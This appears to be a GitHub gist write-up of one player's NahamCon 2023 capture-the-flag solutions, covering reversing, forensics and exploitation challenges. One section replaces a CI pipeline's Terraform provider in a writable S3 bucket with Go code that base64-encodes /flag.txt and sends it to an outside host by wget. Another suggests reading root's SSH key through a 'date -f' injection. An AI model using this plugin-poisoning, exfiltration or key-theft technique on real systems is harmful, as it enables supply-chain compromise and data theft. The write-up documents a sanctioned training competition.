Skip to content

Instantly share code, notes, and snippets.

@mlashley
Last active June 18, 2023 23:16
Show Gist options
  • Save mlashley/224a91cff0b1712e161121817b1e24b3 to your computer and use it in GitHub Desktop.
Save mlashley/224a91cff0b1712e161121817b1e24b3 to your computer and use it in GitHub Desktop.

Didn't get to spend as much time as I would have liked on this - the writeup is mostly random thoughts as I went along. Our team of 2 ended up 121/2546 teams (5692 players) - these are my solves.

Regina

I have a tyrannosaurus rex plushie and I named it Regina! Here, you can talk to it :)

Press the Start button on the top-right to begin this challenge.
Connect with:
# Password is "userpass"
ssh -p 32288 user@challenge.nahamcon.com
user@challenge.nahamcon.com's password: 

/usr/local/bin/regina: REXX-Regina_3.9.4(MT) 5.00 25 Oct 2021 (64 bit)

Is Rexx, a long time since I used ARexx on Amiga - so - grab manuals for this version. https://sourceforge.net/projects/regina-rexx/files/regina-documentation/3.9.4/regutil.pdf/download

/usr/local/bin/regina: REXX-Regina_3.9.4(MT) 5.00 25 Oct 2021 (64 bit)

ADDRESS PATH 'ls'
ADDRESS PATH 'ls' WITH OUTPUT STEM malc.
HELP
?
  


. 
flag.txt
say "Hello World" 

sh: HELP: not found
ADDRESS PATH 'cat flag.txt'
sh: ?: not found
Connection to challenge.nahamcon.com closed.

Seemed like it was doing nothing but just really slow...

ADDRESS PATH 'cat flag.txt'
flag{2459b9ae7c704979948318cd2f47dfd6}

Glasses

Everything is blurry, I think I need glasses!

Flag in HTML...

<span style="color: transparent;text-shadow: 0 0 5px rgba(0,0,0,0.09);text-decoration: line-through;">flag{8084e4530cf649814456f2a291eb81e9}</span>

Fast hands

Stupid web page with fast page-open/close code... use curl..

$ curl http://challenge.nahamcon.com:31565/
$ curl http://challenge.nahamcon.com:31565/capture_the_flag.html
...
                  flag{80176cdf1547a9be54862df3568966b8}

Online Chatroom

We are on the web and we are here to chat!

Press the Start button on the top-right to begin this challenge.
Connect with:
http://challenge.nahamcon.com:32290
Attachments: main.go

Source code review shows flag is stored in history.

User2: Oh hey User0, was it you? You can use !help as a command to learn more :)

Error: Please request a valid history index (1 to 6)

User4: This chat is awesome!

User5: Aha! You're right, I was here before all of you! Here's your flag for finding me: flag{c398112ed498fa2cacc41433a3e3190b}

Ticket Channel

Find in discord - kick yourself for not noticing earlier when you had to get your e-mail approved :)

flag{a98373a74abb8c5ebb8f5192e034a91c}

Pirates [ Dev Ops ]

Gitea and DroneeCI - Fork the repo - change a shell script, configure CI for fork (press sync) - get /flag.txt from Drone CI server.

No Big Deal [ Networking ]

The huge hint that this is NBD=>Nettwork Block Device in the title/desc.

$ nbd-client challenge.nahamcon.com 30351  /dev/nbd0
Warning: the oldstyle protocol is no longer supported.
This method now uses the newstyle protocol with a default export
Negotiation: .Error: It looks like you're trying to connect to an oldstyle server. This is no longer supported since nbd 3.10.
Exiting.

Grab nbdkit - use tools to copy image.

# USE="nbd" emerge -av sys-block/nbdkit
# nbdinfo nbd://challenge.nahamcon.com:30351
protocol: oldstyle without TLS, using simple packets
export="":
        export-size: 4096 (4K)
        content: PNG image data, 111 x 111, 1-bit colormap, non-interlaced
        uri: nbd://challenge.nahamcon.com:30351/
        is_rotational: false
        is_read_only: false
        can_cache: false
        can_df: false
        can_fast_zero: false
        can_flush: false
        can_fua: false
        can_multi_conn: false
        can_trim: false
        can_zero: false


# nbdcopy nbd://challenge.nahamcon.com:30351 /tmp/local.img
# file /tmp/local.img 
/tmp/local.img: PNG image data, 111 x 111, 1-bit colormap, non-interlaced

^^ is QR code of flag.

ref. https://www.libguestfs.org/nbdkit-protocol.1.html

Fetch [ Forensics ]

WIM format - grab https://wimlib.net/ to unpack.

We have a bunch of windows prefetch files. Get tools to unpack those (needs a >= Win8 VM)

gh repo clone PoorBillionaire/Windows-Prefetch-Parser

Run that on all files - find flag in filename/path/args (I forgeet which)

Fortune Teller [ Mobile ]

unzip apk and dex2jar.

./dex-tools-2.1/d2j-dex2jar.sh classes.dex (and 2.dex, 3.dex)

2.dex has R.class

  public static final class raw {
    public static final int encrypted = 2131689472;
  }
  
  public static final class string {
    public static final int app_name = 2131755036;
    
    public static final int correct_guess = 2131755048;
    
    public static final int guess = 2131755054;
    
    public static final int hint = 2131755056;
  }

And:

$ /opt/android-sdk/build-tools/30.0.2/aapt d resources ../fortune_teller.apk  | grep enc |tail -n 2
      spec resource 0x7f0f0000 com.nahamcon2023.fortuneteller:raw/encrypted: flags=0x00000000
        resource 0x7f0f0000 com.nahamcon2023.fortuneteller:raw/encrypted: t=0x03 d=0x00000350 (s=0x0008 r=0x00)

And:

$ ls -l res/raw/encrypted
-rw-r--r-- 1 username users 30032 Jan  1  1981 res/raw/encrypted

and (this will be important later)

/opt/android-sdk/build-tools/30.0.2/aapt d --values resources ../fortune_teller.apk  | grep -A2 -B2 -i guess
...
        resource 0x7f100028 com.nahamcon2023.fortuneteller:string/correct_guess: t=0x03 d=0x00000354 (s=0x0008 r=0x00)
          (string8) "you win this ctf"

And code

public final class Decrypt {
  public File outputFile;
  
  public final void decrypt(Context paramContext) {
    Intrinsics.checkNotNullParameter(paramContext, "context");
    InputStream inputStream = paramContext.getResources().openRawResource(2131689472);
    Intrinsics.checkNotNullExpressionValue(inputStream, "context.resources.openRawResource(R.raw.encrypted)");
    byte[] arrayOfByte2 = ByteStreamsKt.readBytes(inputStream);
    File file = paramContext.getFilesDir();
    byte[] arrayOfByte1 = ArraysKt.sliceArray(arrayOfByte2, RangesKt.until(16, arrayOfByte2.length));
    byte[] arrayOfByte3 = MainActivity.Companion.getGuessString().getBytes(Charsets.UTF_8);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
    SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte3, "AES");
    IvParameterSpec ivParameterSpec = new IvParameterSpec(ArraysKt.sliceArray(arrayOfByte2, RangesKt.until(0, 16)));
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipher.init(2, (Key)secretKeySpec, (AlgorithmParameterSpec)ivParameterSpec);
    arrayOfByte1 = cipher.doFinal(arrayOfByte1);
    setOutputFile(new File(file, "decrypted.jpg"));
    FileOutputStream fileOutputStream = new FileOutputStream(getOutputFile());
    fileOutputStream.write(arrayOfByte1);
    fileOutputStream.close();
  }

^^ is AES decrypt with key 'you win this ctf' and IV as first 16 bytes. Use CyberChef => get JPEG...

flag{d7687f4af1a9c75c1811488a12cb54a6n}

JNInjiaspeak

Is clearly going to be JNI... but we follow along in case of tricks. Do the apk-unpack/dex2jar dance - confirm there:

static {
        System.loadLibrary("jninjaspeak");
}

private final native String translate(String paramString);

Load up the lib/x86_64/*.so in Ghidra.

Find the translate function.

undefined8
Java_com_nahamcon2023_jninjaspeak_MainActivity_translate
          (_JNIEnv *param_1,undefined8 param_2,_jstring *param_3)

{
  byte bVar1;
  int iVar2;
  char *pcVar3;
  undefined8 uVar4;
  uint uVar5;
  long in_FS_OFFSET;
  int local_98;
  basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>> local_50 [24];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar3 = (char *)_JNIEnv::GetStringUTFChars(param_1,param_3,(uchar *)0x0);
  FUN_0011fd20(local_50);
                    /* try { // try from 0011fb2a to 0011fb31 has its CatchHandler @ 0011fc30 */
  iVar2 = __strlen_chk(pcVar3,0xffffffffffffffff);
  memcpy(local_38,"flag{1f539e4a706e6181dae9db3fad6a78f1}",0x26);
  for (local_98 = 0; local_98 < iVar2; local_98 = local_98 + 1) {
    bVar1 = pcVar3[local_98] ^ local_38[(ulong)(long)local_98 % 0x26];
    uVar5 = (int)((ulong)((long)(char)bVar1 * -0x51b3bea3) >> 0x20) + (int)(char)bVar1;
                    /* try { // try from 0011fc09 to 0011fc8b has its CatchHandler @ 0011fc30 */
    FUN_0011fd90(local_50,(int)(char)(bVar1 + ((char)(uVar5 >> 6) - (char)((int)uVar5 >> 0x1f)) *
                                              -0x5e + ' '));

Not so hard... of course - you can always just skip all that because it is in plain text in those each one of thos shared object files:

$ strings jninjaspeak_unpack/lib/x86_64/libjninjaspeak.so  | grep flag
flag{1f539e4a706e6181dae9db3fad6a78f1}

$ ls -l jninjaspeak_unpack/lib/*/libjninjaspeak.so
-rw-r--r-- 1 username users 293696 Jan  1  1981 jninjaspeak_unpack/lib/arm64-v8a/libjninjaspeak.so
-rw-r--r-- 1 username users 154036 Jan  1  1981 jninjaspeak_unpack/lib/armeabi-v7a/libjninjaspeak.so
-rw-r--r-- 1 username users 287420 Jan  1  1981 jninjaspeak_unpack/lib/x86/libjninjaspeak.so
-rw-r--r-- 1 username users 304680 Jan  1  1981 jninjaspeak_unpack/lib/x86_64/libjninjaspeak.so
username@host ~/ctf/nahamcon2023 $ strings jninjaspeak_unpack/lib/*/libjninjaspeak.so  | grep flag
flag{1f539e4a706e6181dae9db3fad6a78f1}
flag{1f539e4a706e6181dae9db3fad6a78f1}covariant return thunk to 
flag{1f539e4a706e6181dae9db3fad6a78f1}
flag{1f539e4a706e6181dae9db3fad6a78f1}

Supplier [ Dev Ops]

Git repo, Drone CI - runs terraform to deploy to todo.challenge.nahamcon.com

CI runs this Makefile - note the S3 server for the TF plugin

port = $(shell cat /port/ports)
init:
    wget -q http://s3.challenge.nahamcon.com:${port}/tf-providers/todo
    mkdir -p ~/.terraform.d/plugins/terraform-todo.com/todo/todo/1.0.0/linux_amd64
    chmod +x todo
    cp todo ~/.terraform.d/plugins/terraform-todo.com/todo/todo/1.0.0/linux_amd64/terraform-provider-todo
    terraform init -var="port=${port}"

plan: init
    terraform plan -var="port=${port}"

apply: init
    terraform apply --auto-approve -var="port=${port}"
 $ curl  http://s3.challenge.nahamcon.com:30173
<ListAllMyBucketsResult><Owner><ID>79a59df900b949e55d96a1e698fbacedfd6e09d98eacf8f8d5218e7cd47ef2be</ID><DisplayName>s3-mock-file-store</DisplayName></Owner><Buckets><Bucket><Name>tf-providers</Name><CreationDate>2023-06-08T23:07:37.682Z</CreationDate></Bucket></Buckets></ListAllMyBucketsResult>

We can't fork - we cant push to a branch - we seem to be unable to attack from the Git side - but... Can we clobber the plugin? That says 'S3'...

echo foo >malc
curl -vX PUT -T "malc" http://s3.challenge.nahamcon.com:30173/tf-providers/todo
...
curl http://s3.challenge.nahamcon.com:30173/tf-providers/todo
foo

Yes we can.

We don't re-invent any wheels...

https://github.com/rung/terraform-provider-cmdexec

gh repo clone rung/terraform-provider-cmdexec
make build-linux
curl -vX PUT -T "terraform-provider-cmdexec"   http://s3.challenge.nahamcon.com:30173/tf-providers/todo

Both that and spkane/todo plugin provider fail with:

│ Error: Failed to load plugin schemas
│ 
│ Error while loading schemas for plugin components: Failed to obtain
│ provider schema: Could not load the schema for provider
│ terraform-todo.com/todo/todo: failed to instantiate provider
│ "terraform-todo.com/todo/todo" to obtain schema: Unrecognized remote plugin
│ message: 
│ 
│ This usually means that the plugin is either invalid or simply
│ needs to be recompiled to support the latest protocol...

Try;

https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider

Same shit.

Back to original - it outputs:

username@host ~/ctf/nahamcon2023/infra (master) $ terraform providers schema -json | jq .
{
  "format_version": "1.0",
  "provider_schemas": {
    "terraform-todo.com/todo/todo": {
      "provider": {
        "version": 0,
        "block": {
          "attributes": {
            "token": {
              "type": "string",
              "description_kind": "plain",
              "required": true
            },
            "url": {
              "type": "string",
              "description_kind": "plain",
              "optional": true
            }
          },
          "description_kind": "plain"
        }
      },
      "resource_schemas": {
        "todo": {
          "version": 0,
          "block": {
            "attributes": {
              "done": {
                "type": "bool",
                "description_kind": "plain",
                "required": true
              },
              "id": {
                "type": "string",
                "description_kind": "plain",
                "optional": true,
                "computed": true
              },
              "title": {
                "type": "string",
                "description_kind": "plain",
                "required": true
              }
            },
            "description_kind": "plain"
          }
        }
      }
    }
  }
}

Same shit - many more times... Finally looked at LDD.

Gentoo / go version go1.20.5 linux/amd64 built module:

$ ldd terraform-provider-cmdexec 
        linux-vdso.so.1 (0x00007ffcaf652000)
        libresolv.so.2 => /lib64/libresolv.so.2 (0x00007ff026d1e000)
        libc.so.6 => /lib64/libc.so.6 (0x00007ff026b45000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff026d80000)

Ubuntu / go version go1.18.1 linux/amd64 built module:

root@a6f9f2bb4003:/terraform-provider-cmdexec# ldd terraform-provider-cmdexec 
        linux-vdso.so.1 (0x00007ffc32697000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa398e00000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fa399089000)

Maybe the ci-host is not finding libresolv?

Nope - same issue for Ubuntu 22.04/go-18 build plugin.

At this point - I reached out to Congonator to double check he wasn't using some ass-old terraform verison (there have been multiple incompatible plugin versions over the years) he confirmed he was not. Is probably just a glibc thing - so I went further back to ubuntu 20.04 / go1.13.8 - and I get a plugin that loads but it has tons of issues.

We fix the schema to match the .tf files - gets us further - than we follow the cmdexec example to try to get RCE on tf apply - we fail, a lot, and our freinds are already at the pub.

Fuck it - just exfil from main()... why overcomplicate...

func main() {
        sh, err:= exec.LookPath("sh")
        if err != nil {
          log.Printf("error finding sh")
         }



         command := "wget http://sucks-ass.com:1234/flag_$(cat /flag.txt | base64 -w0)"

        cmd:= exec.Command(sh, "-c", command)
        var out strings.Builder
        cmd.Stdout = &out
        cmd.Run()

Ninety One

I found some more random gibberish text. Why are there so many of these?! (Don't answer that, I know why...)

@iH<,{|jbRH?L^VjGJH<vn3p7I,x~@1jyt>x?,!YAJr*08P

It's base 91... https://www.dcode.fr/base-91-encoding

flag{dfb88c7d9ca38e71dc27e1072fc43d1b}

OS INT 1...

https://osint.golf/NahamCon2023-chall1

https://www.google.com/maps/place/Singha+Park+Khon+Kaen+Golf+Club/@16.2969493,102.5812553,9.94z/data=!4m6!3m5!1s0x312287e65424a3ef:0xa8b637152b3f3766!8m2!3d16.3194056!4d102.8258752!16s%2Fg%2F11c520_h1y?entry=ttu

flag{3e3d01a002db29fec2a5e10ec758b852}

Sneakyshot

Author: @M_alpha#3534

Your red team has gained the creds of a user and is trying to use it against a Linux workstation with SSH open. Unfortunately it seems this user is not granted shell access through SSH onto this system. Maybe there is a way to figure out what the user is doing on the system without needing to get a shell?

We are given a Dockerfile which indicates a docker container - with an X11 desktop with an editor having the flag open. We have no ssh shell access, or X11forwarding - but we have port forwarding... and that includes unix-domain-sockets :)

First Make the remote :0 display appear on our host as :2

$ ssh -p 30578 -L/tmp/.X11-unix/X2:/tmp/.X11-unix/X0  -N user@challenge.nahamcon.com 
user@challenge.nahamcon.com's password: 

2nd - run imagemagick or some other screenshotter in 2nd terminal, using the forwarded X11 unix-domain-socket.

$ DISPLAY=:2 import -window root sneakyshot.png

flag{insecure_X11_957f5}

Supplier [DevOps]

developer:Bu7!^zTZ

http://challenge.nahamcon.com:31892/ http://drone.challenge.nahamcon.com:31892/ http://todo.challenge.nahamcon.com:31892/

Blobbler [ WarmUp ]

This file is really... weird...

Not really - it is an sqlite3 db.

username@host ~/ctf/nahamcon2023 $ file blobber 
blobber: SQLite 3.x database, last written using SQLite version 3037002, file counter 4, database pages 10, cookie 0x1, schema 4, UTF-8, version-valid-for 4
username@host ~/ctf/nahamcon2023 $ sqlite3 blobber
SQLite version 3.32.2 2020-06-04 12:58:43
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE blobber (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL,
            data BLOB
        );
CREATE TABLE sqlite_sequence(name,seq);
username@host ~/ctf/nahamcon2023 $ sqlite3 blobber  'select group_concat(data) from blobber order by id ' >/tmp/1
username@host ~/ctf/nahamcon2023 $ file /tmp/1
/tmp/1: bzip2 compressed data, block size = 900k

But it is too short... group_concat doesn't work how we expect on raw data

$ sqlite3 blobber 'select group_concat(hex(data)) from blobber'  | xxd -r -ps  | bunzip2 -c | file -
/dev/stdin: PNG image data, 1301 x 128, 8-bit/color RGB, non-interlaced

Open Sesame [ Binary Exploitatio ]

Simple clobber the stack

# nc challenge.nahamcon.com 32743
BEHOLD THE CAVE OF GOLD

What is the magic enchantment that opens the mouth of the cave?
OpenSesame!!!111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{85605e34d3d2623866c57843a0d2c4da}

Unfinished...

The sandbox

Wordle

Some form of cmd injection trickery

Tried all sorts including setting 'date' args to '-f /root/flag.txt' - but just got

date: invalid date ‘[ Sorry, your flag will be displayed once you have code execution as root ]’

POST-CTF-NOTE: This was close - the flag was in another file generated with a random extension - you could use date -f /root/.ssh/id_rsa to just get roots ssh key and gain RCE as root.

RSA Intro

Honestly - I could have done this - but I threw it to teammate-Jon who could do it in 10% of the time :)

>>> from math import lcm
>>> p=152933908726088000025981821717328900253841375038873501148415965946834656401640031351528841350980891403699057384028031438869081577476655254545307973436745130347696405243778481262922512227444915738801835842194123487258255790292004204412236314558718035967575479232723997430178018130995420315759809636522091902529
>>> q=173403581892981708663967289381727914513043623656015065332774927693090954681172215632003125824638611519248812013286298011144213434368768979531792528759533473573346156338400142951284462417074992959330154930806611253683603690442142765076944118447174491399811297223146324861971722035746276165056022562961558299229
>>> lcm(p-1,q-1)
6629821891499497613128655044901731895480143514034553763022539921880588972603551045216268448347448752660027296122639805005927385831771285375609739595426763432493723884303753595859701098317087713746746824332983233995168948205975326466975795933660241280783986388939220529701224821499280676891895149689077640778761483976582514979241425675963118943727791433249780735034855848478910755567915213442559950224580353129746884829309528144556297152620643540691452125481402554805690852680910070985708743755685419047721258452467003135329496016030797490896188045780024983364903365029261315732674417306351820437575099894883608412096
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment